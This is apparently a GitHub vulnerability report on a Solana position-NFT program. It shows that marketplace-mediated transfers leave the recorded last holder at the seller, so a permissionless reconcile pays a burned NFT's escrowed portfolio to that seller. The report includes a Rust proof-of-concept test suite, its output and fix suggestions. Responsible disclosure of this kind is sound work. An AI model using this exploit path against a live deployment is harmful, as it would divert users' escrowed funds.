Skip to content

[HIGH] Marketplace-CPI transfers leave last_holder at the seller; ReconcileBurnedNft then releases the escrowed portfolio to a party who already sold the NFT #174

Description

@0x-SquidSol

Summary

ReconcileBurnedNft releases the entire escrowed portfolio to nft_state.last_holder. That field is only written when the transfer hook observes a genuine top-level Token-2022 transfer; for any transfer routed through another program it is deliberately left unchanged (transfer_hook.rs:166, :542).

Because last_holder is initialised to the minter (processor.rs:500), a Position NFT that is only ever traded through a program — a marketplace escrow, an orderbook fill, a multisig execution, an aggregator — carries last_holder = minter for its entire life. If any subsequent holder performs an out-of-band Token-2022 Burn (precisely the scenario ReconcileBurnedNft exists to recover from), the permissionless reconcile hands the position and its collateral to a party who sold the NFT and was already paid, while the actual owner is refused by the same gate.

This is the inverse of #152/#153. Those were about an attacker forging last_holder; PR #159 correctly closed that by gating the write. This report is about the write being skipped on a legitimate transfer, leaving a stale value that is authoritative for fund release.

Relationship to PR #159

PR #159 flagged this as a known tradeoff:

Known product tradeoff (flagged): an NFT acquired ONLY via marketplace-CPI leaves last_holder stale, affecting only the rare out-of-band-burn ReconcileBurnedNft recovery (which then routes to the prior genuine holder — no theft, no new drain).

Three parts of that assessment do not hold, and the PoC below demonstrates each:

  1. "routes to the prior genuine holder" — after a sale, the prior holder is the seller, who has been paid and has no remaining claim. Routing the escrow to them is an uncompensated transfer away from the buyer.
  2. "no theft, no new drain" — the buyer loses the whole escrowed portfolio, including collateral. The beneficiary is deterministic, known in advance, and can watch for the trigger; the reconcile itself is permissionless, so they need not even hold the NFT.
  3. "rare" — the stale state is not an edge case but the steady state for any NFT traded through a program. Since Transfer hook rejects all CPI-mediated transfers (top-level-instruction caller check) → Position NFTs untradeable via any program-escrow marketplace; check is security-vestigial post-#105 #145 exists specifically to enable marketplace/orderbook trading, the common path produces the vulnerable state, and it never self-corrects: consecutive program-mediated transfers keep last_holder pinned at the minter indefinitely.

Affected code

Location Role
src/processor.rs:500 last_holder = owner.key — the minter is the first holder
src/transfer_hook.rs:166 returns false whenever the top-level program is not Token-2022
src/transfer_hook.rs:542 last_holder write is gated on that false
src/processor.rs:1275 last_holder_ai.key != last_holderNotNftHolder (the only authorisation)
src/processor.rs:1319 last_holder_ai.key is passed to cpi_unwrap_portfolio as the new owner
src/processor.rs:1326 PDA rent swept to the same address

last_holder has exactly one writer and one consumer; BurnPositionNft is unaffected because it authorises on a holder signature plus canonical ATA.

Scenario

  1. Alice mints a Position NFT. last_holder = Alice.
  2. Alice lists it and Bob buys it. The marketplace moves the token by CPI, so the top-level instruction is the marketplace program. The hook allows the transfer (as Transfer hook rejects all CPI-mediated transfers (top-level-instruction caller check) → Position NFTs untradeable via any program-escrow marketplace; check is security-vestigial post-#105 #145 intends) but skips the write. last_holder = Alice.
  3. Bob performs a raw Token-2022 Burn rather than BurnPositionNft — the exact situation Design: raw Token-2022 Burn of the position-NFT (bypassing BurnPositionNft) permanently strands the escrowed portfolio — no recovery path #138 introduced ReconcileBurnedNft to recover. Supply → 0.
  4. Anyone cranks ReconcileBurnedNft. Bob is rejected at processor.rs:1275. Alice receives the escrowed portfolio and the PDA rent.

Proof of concept

tests/poc_stale_last_holder.rs, run against main at 215842e. Five tests: the finding, two isolating controls, and the two halves of the impact.

Reproduction note: cargo test does not build as shipped — the solana-sdk dev-dependency pulls openssl-sys, which needs a system OpenSSL. Neither solana-sdk nor proptest is referenced anywhere in src/; removing both from [dev-dependencies] makes the suite build. Results below are 51 pre-existing tests plus these 5, all passing.

Harness scope: these are host-side tests driving the real transfer_hook::process_execute and processor::process with hand-built accounts. The wrapper CPI in cpi_unwrap_portfolio resolves to the default no-op SyscallStubs, so what is proven here is the authorisation decision and the rent movement, plus the fact that last_holder_ai.key is what gets passed to the unwrap as the new owner. The release itself is the wrapper's UnwrapEscrowedPortfolio, which is gated only on the mint-authority PDA signing and carries no NFT identity in its payload (tag(82) + new_owner[32]), so it cannot independently correct the recipient.

//! PoC: a marketplace sale leaves `last_holder` at the SELLER, and
//! `ReconcileBurnedNft` then pays the entire escrowed portfolio to that seller.
//!
//! PR #159 gated the `last_holder` write on a genuine top-level Token-2022
//! transfer to close the #152/#153 forgery. Its stated residual was:
//!
//!   "an NFT acquired ONLY via marketplace-CPI leaves `last_holder` stale,
//!    affecting only the rare out-of-band-burn ReconcileBurnedNft recovery
//!    (which then routes to the prior genuine holder - no theft, no new drain)."
//!
//! These tests exercise the four links of the chain that claim depends on:
//!
//!   1. mint            -> last_holder = minter          (processor.rs:500)
//!   2. marketplace CPI -> hook returns Ok, NO write     (transfer_hook.rs:166,542)
//!   3. out-of-band burn (supply -> 0), the #138 scenario
//!   4. ReconcileBurnedNft -> buyer REJECTED, seller PAID (processor.rs:1275,1326)

use bytemuck::Zeroable;
use percolator_nft::{
    cpi_v16::{derive_nft_registry, PERCOLATOR_MAINNET},
    instruction::TAG_RECONCILE_BURNED_NFT,
    processor,
    slab_types_v16 as sl,
    state_v16::{
        mint_authority_pda, position_nft_pda, PositionNftV16, POSITION_NFT_V16_LEN,
        POSITION_NFT_V16_MAGIC, POSITION_NFT_V16_VERSION,
    },
    token2022::TOKEN_2022_PROGRAM_ID,
    transfer_hook::{extra_account_metas_pda, process_execute},
};
use solana_program::{
    account_info::AccountInfo, program_error::ProgramError, pubkey::Pubkey,
    sysvar::instructions as sysvar_instructions,
};

// -- cast --------------------------------------------------------------------
const PROG: Pubkey = Pubkey::new_from_array([9u8; 32]); // this NFT program
const ALICE: Pubkey = Pubkey::new_from_array([0xA1; 32]); // minter, then SELLER
const BOB: Pubkey = Pubkey::new_from_array([0xB0; 32]); // BUYER
const MARKETPLACE: Pubkey = Pubkey::new_from_array([0x33; 32]); // escrow marketplace
const PORTFOLIO: Pubkey = Pubkey::new_from_array([0x50; 32]);
const MARKET_GROUP: Pubkey = Pubkey::new_from_array([0x60; 32]);
const NFT_MINT: Pubkey = Pubkey::new_from_array([0x11; 32]);
const SRC_ATA: Pubkey = Pubkey::new_from_array([0x71; 32]);
const DST_ATA: Pubkey = Pubkey::new_from_array([0x72; 32]);

const ASSET_INDEX: u32 = 7;
const MARKET_ID: u64 = 42;
const PDA_RENT: u64 = 2_000_000;

fn leak<T>(v: T) -> &'static mut T {
    Box::leak(Box::new(v))
}

fn acct(
    key: Pubkey,
    owner: Pubkey,
    data: Vec<u8>,
    lamports: u64,
    writable: bool,
) -> AccountInfo<'static> {
    AccountInfo::new(
        leak(key),
        false,
        writable,
        leak(lamports),
        Box::leak(data.into_boxed_slice()),
        leak(owner),
        false,
        0,
    )
}

/// Token-2022 base token-account image (165 bytes).
fn token_account(mint: &Pubkey, owner: &Pubkey, amount: u64) -> Vec<u8> {
    let mut d = vec![0u8; 165];
    d[0..32].copy_from_slice(mint.as_ref());
    d[32..64].copy_from_slice(owner.as_ref());
    d[64..72].copy_from_slice(&amount.to_le_bytes());
    d[108] = 1; // Initialized
    d
}

/// Token-2022 base mint image; `supply` is a u64 at offset 36.
fn mint_account(supply: u64) -> Vec<u8> {
    let mut d = vec![0u8; 200];
    d[36..44].copy_from_slice(&supply.to_le_bytes());
    d[45] = 1; // is_initialized
    d
}

/// Wrapper-framed portfolio, escrowed to the mint-authority PDA (#105).
fn portfolio_buf(escrow_owner: [u8; 32]) -> Vec<u8> {
    let mut a: sl::PortfolioAccountV16Account = Zeroable::zeroed();
    a.provenance_header.market_group_id = MARKET_GROUP.to_bytes();
    a.provenance_header.portfolio_account_id = PORTFOLIO.to_bytes();
    a.provenance_header.owner = escrow_owner;
    a.provenance_header.version = sl::V16PodU16::new(sl::V16_ACCOUNT_VERSION);
    a.provenance_header.layout_discriminator = sl::V16PodU16::new(sl::V16_LAYOUT_DISCRIMINATOR);
    a.owner = escrow_owner;
    a.legs[0].active = 1;
    a.legs[0].asset_index = sl::V16PodU32::new(ASSET_INDEX);
    a.legs[0].market_id = sl::V16PodU64::new(MARKET_ID);
    a.legs[0].stale = 0;

    let mut buf = vec![0u8; sl::HEADER_LEN + sl::EXPECTED_PORTFOLIO_ACCOUNT_SIZE];
    buf[0..8].copy_from_slice(&sl::MAGIC.to_le_bytes());
    buf[8..10].copy_from_slice(&sl::VERSION.to_le_bytes());
    buf[10] = sl::KIND_PORTFOLIO;
    buf[sl::HEADER_LEN..].copy_from_slice(bytemuck::bytes_of(&a));
    buf
}

fn nft_pda_buf(bump: u8, last_holder: [u8; 32]) -> Vec<u8> {
    let mut s: PositionNftV16 = Zeroable::zeroed();
    s.magic = sl::V16PodU64::new(POSITION_NFT_V16_MAGIC);
    s.version = POSITION_NFT_V16_VERSION;
    s.bump = bump;
    s.portfolio_account = PORTFOLIO.to_bytes();
    s.nft_mint = NFT_MINT.to_bytes();
    s.asset_index = sl::V16PodU32::new(ASSET_INDEX);
    s.market_id_at_mint = sl::V16PodU64::new(MARKET_ID);
    s.last_holder = last_holder;
    bytemuck::bytes_of(&s).to_vec()
}

/// Instructions-sysvar image with exactly one top-level instruction.
fn build_sysvar(top_prog: &Pubkey, data: &[u8], accounts: &[Pubkey]) -> Vec<u8> {
    let mut ib: Vec<u8> = Vec::new();
    ib.extend_from_slice(&(accounts.len() as u16).to_le_bytes());
    for a in accounts {
        ib.push(0u8);
        ib.extend_from_slice(a.as_ref());
    }
    ib.extend_from_slice(top_prog.as_ref());
    ib.extend_from_slice(&(data.len() as u16).to_le_bytes());
    ib.extend_from_slice(data);
    let total = 2 + 2 + ib.len() + 2;
    let mut sv = vec![0u8; total];
    sv[0..2].copy_from_slice(&1u16.to_le_bytes()); // num instructions
    sv[2..4].copy_from_slice(&4u16.to_le_bytes()); // offset of instruction 0
    sv[4..4 + ib.len()].copy_from_slice(&ib);
    sv[total - 2..].copy_from_slice(&0u16.to_le_bytes()); // current index
    sv
}

fn read_last_holder(nft_pda: &AccountInfo) -> [u8; 32] {
    let d = nft_pda.data.borrow();
    bytemuck::from_bytes::<PositionNftV16>(&d[..POSITION_NFT_V16_LEN]).last_holder
}

/// Drive `process_execute` for a transfer whose TOP-LEVEL instruction is
/// `top_prog`. Returns the result plus the nft_pda so callers can inspect it.
fn run_hook(
    top_prog: Pubkey,
    top_data: Vec<u8>,
    top_accounts: Vec<Pubkey>,
    starting_last_holder: [u8; 32],
) -> (Result<(), ProgramError>, AccountInfo<'static>) {
    let (mint_auth, _) = mint_authority_pda(&PROG);
    let (nft_pda_key, bump) = position_nft_pda(&PORTFOLIO, MARKET_ID, &PROG);
    let (metas, _) = extra_account_metas_pda(&NFT_MINT, &PROG);
    let (registry, _) = derive_nft_registry(&PERCOLATOR_MAINNET, &MARKET_GROUP);

    let nft_pda = acct(
        nft_pda_key,
        PROG,
        nft_pda_buf(bump, starting_last_holder),
        PDA_RENT,
        true,
    );

    let accounts = vec![
        acct(SRC_ATA, TOKEN_2022_PROGRAM_ID, token_account(&NFT_MINT, &ALICE, 1), 0, false),
        acct(NFT_MINT, TOKEN_2022_PROGRAM_ID, mint_account(1), 0, false),
        acct(DST_ATA, TOKEN_2022_PROGRAM_ID, token_account(&NFT_MINT, &BOB, 0), 0, false),
        acct(ALICE, Pubkey::default(), vec![], 0, false),
        acct(metas, PROG, vec![0u8; 261], 0, false),
        nft_pda.clone(),
        acct(PORTFOLIO, PERCOLATOR_MAINNET, portfolio_buf(mint_auth.to_bytes()), 0, false),
        acct(PERCOLATOR_MAINNET, Pubkey::default(), vec![], 0, false),
        acct(mint_auth, Pubkey::default(), vec![], 0, false),
        acct(
            sysvar_instructions::ID,
            Pubkey::default(),
            build_sysvar(&top_prog, &top_data, &top_accounts),
            0,
            false,
        ),
        acct(PROG, Pubkey::default(), vec![], 0, false),
        acct(registry, PERCOLATOR_MAINNET, vec![], 0, false),
    ];

    let r = process_execute(&PROG, &accounts, 1);
    (r, nft_pda)
}

/// Drive `ReconcileBurnedNft` (tag 7) with `recipient` supplied as account 6.
/// Returns the result plus the recipient's lamports afterwards.
fn run_reconcile(
    last_holder_in_state: [u8; 32],
    recipient: Pubkey,
) -> (Result<(), ProgramError>, u64) {
    let (mint_auth, _) = mint_authority_pda(&PROG);
    let (nft_pda_key, bump) = position_nft_pda(&PORTFOLIO, MARKET_ID, &PROG);
    let (registry, _) = derive_nft_registry(&PERCOLATOR_MAINNET, &MARKET_GROUP);

    let recipient_ai = acct(recipient, Pubkey::default(), vec![], 0, true);

    let accounts = vec![
        acct(nft_pda_key, PROG, nft_pda_buf(bump, last_holder_in_state), PDA_RENT, true),
        // supply == 0: the NFT really was burned out of band
        acct(NFT_MINT, TOKEN_2022_PROGRAM_ID, mint_account(0), 0, false),
        acct(PORTFOLIO, PERCOLATOR_MAINNET, portfolio_buf(mint_auth.to_bytes()), 0, true),
        acct(mint_auth, Pubkey::default(), vec![], 0, false),
        acct(registry, PERCOLATOR_MAINNET, vec![], 0, false),
        acct(PERCOLATOR_MAINNET, Pubkey::default(), vec![], 0, false),
        recipient_ai.clone(),
    ];

    let r = processor::process(&PROG, &accounts, &[TAG_RECONCILE_BURNED_NFT]);
    let got = **recipient_ai.lamports.borrow();
    (r, got)
}

// -- 1. the finding ----------------------------------------------------------

#[test]
fn marketplace_sale_leaves_last_holder_at_the_seller() {
    // Alice minted, so last_holder == Alice (processor.rs:500).
    // She now sells to Bob through a marketplace that moves the token by CPI,
    // so the TOP-LEVEL instruction is the marketplace, not Token-2022.
    let (r, nft_pda) = run_hook(MARKETPLACE, vec![7u8], vec![], ALICE.to_bytes());

    assert!(r.is_ok(), "the sale itself must succeed (#145 composability): {r:?}");
    assert_eq!(
        read_last_holder(&nft_pda),
        ALICE.to_bytes(),
        "last_holder still points at the SELLER after the sale settled",
    );
    assert_ne!(read_last_holder(&nft_pda), BOB.to_bytes(), "the buyer was never recorded");
}

// -- 2. control: the harness DOES observe a write ----------------------------

#[test]
fn control_a_direct_transfer_does_record_the_buyer() {
    // Identical in every respect except the top-level program. This is the A/B
    // control: it proves the assertion above is a real skipped write, not a
    // harness that silently fails before reaching the write.
    let mut data = vec![12u8]; // TransferChecked
    data.extend_from_slice(&1u64.to_le_bytes());
    data.push(0); // decimals
    let top_accounts = vec![SRC_ATA, NFT_MINT, DST_ATA, ALICE];

    let (r, nft_pda) = run_hook(TOKEN_2022_PROGRAM_ID, data, top_accounts, ALICE.to_bytes());

    assert!(r.is_ok(), "genuine direct transfer must succeed: {r:?}");
    assert_eq!(
        read_last_holder(&nft_pda),
        BOB.to_bytes(),
        "a genuine top-level Token-2022 transfer DOES record the buyer",
    );
}

// -- 3+4. the impact: buyer locked out, seller paid --------------------------

#[test]
fn buyer_cannot_reconcile_his_own_burned_nft() {
    // Bob owns the NFT and burns it out of band (#138). He tries to recover.
    let (r, _) = run_reconcile(ALICE.to_bytes(), BOB);
    assert!(
        matches!(r, Err(ProgramError::Custom(c)) if c == 7), // NftError::NotNftHolder
        "the actual owner is rejected by the last_holder gate, got {r:?}",
    );
}

#[test]
fn seller_is_paid_the_escrowed_portfolio_and_the_rent() {
    // Anyone may crank it; the escrow + rent go to the RECORDED last_holder.
    let (r, alice_lamports) = run_reconcile(ALICE.to_bytes(), ALICE);
    assert!(r.is_ok(), "reconcile to the stale seller succeeds: {r:?}");
    assert_eq!(
        alice_lamports, PDA_RENT,
        "PDA rent swept to the seller (the unwrap CPI likewise names her as new owner)",
    );
}

#[test]
fn control_a_correctly_recorded_buyer_can_reconcile() {
    // Same accounts, same burned mint, same everything as the rejection test --
    // only the recorded last_holder differs. This isolates the gate at
    // processor.rs:1275 as the sole reason Bob was refused above.
    let (r, bob_lamports) = run_reconcile(BOB.to_bytes(), BOB);
    assert!(r.is_ok(), "with the buyer correctly recorded, he recovers: {r:?}");
    assert_eq!(bob_lamports, PDA_RENT);
}
running 51 tests
test result: ok. 51 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out

running 5 tests
test buyer_cannot_reconcile_his_own_burned_nft ... ok
test control_a_correctly_recorded_buyer_can_reconcile ... ok
test seller_is_paid_the_escrowed_portfolio_and_the_rent ... ok
test control_a_direct_transfer_does_record_the_buyer ... ok
test marketplace_sale_leaves_last_holder_at_the_seller ... ok
test result: ok. 5 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out

The two controls matter: control_a_direct_transfer_does_record_the_buyer differs from the finding only in the top-level program, proving the skipped write is real rather than an early harness failure; control_a_correctly_recorded_buyer_can_reconcile differs from the rejection only in the recorded last_holder, proving processor.rs:1275 is the sole reason the true owner is refused.

Impact

Loss of an entire escrowed portfolio (position + collateral) plus NFT-side rent by the current holder, transferred to a previous holder with no remaining claim. The trigger — an out-of-band burn by the current holder — cannot be forced by the beneficiary, which bounds this below the #152/#153 forgery; but the beneficiary is deterministic and the reconcile is permissionless, so the exposure is a standing option on every program-traded NFT rather than an accident.

Suggested directions

The #152/#153 gate should stay; the problem is the fail-safe direction, not the gate. Options, roughly in order of preference:

  1. Read TransferHookAccount.transferring instead of inferring from the top-level program. The doc comment at transfer_hook.rs:108-115 states this is unavailable because spl-token-2022 conflicts with the solana-program = 2.2.1 pin, but the flag does not require the crate: the hook already hand-parses this same account (mint at [0..32], owner at [32..64], state at [108]), and transferring is a single byte in the TLV region above the 165-byte base. Token-2022 sets it only for a real in-flight transfer, so it authenticates the direct and the CPI path, fixes the staleness, and lets the top-level heuristic be removed entirely. The discriminant should be confirmed against the deployed Token-2022 before relying on it.
  2. Derive the recipient at reconcile time from on-chain state rather than a cached field.
  3. Make the fail-safe fail-closed: if last_holder may be stale, require a signature from it rather than paying it automatically — a stale record then blocks recovery instead of misdirecting funds.

Option 1 is the only one that also removes the underlying heuristic; 3 is the smallest change that removes the fund-loss direction.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions